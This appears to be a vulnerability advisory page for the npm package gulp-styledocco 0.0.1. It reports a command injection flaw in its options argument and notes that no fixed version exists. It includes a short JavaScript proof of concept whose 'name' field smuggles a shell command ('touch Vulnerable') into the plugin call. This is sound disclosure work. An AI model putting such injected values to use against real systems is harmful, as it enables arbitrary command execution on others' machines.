gulp-styledocco@0.0.1 vulnerabilities

StyleDocco plugin for gulp.

Direct Vulnerabilities

Known vulnerabilities in the gulp-styledocco package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Command Injection

gulp-styledocco is a StyleDocco plugin for gulp.

Affected versions of this package are vulnerable to Command Injection. The argument options of the exports function in index.js can be controlled by users without any sanitization.

PoC

var root = require("gulp-styledocco");
var gulp = require("gulp");
var options = {
  opt: 'docs',
  name: "123\"& touch Vulnerable& \""
}

gulp.src("./gulp-styledocco.js")
  .pipe(root(options));

How to fix Command Injection?

There is no fixed version for gulp-styledocco.

*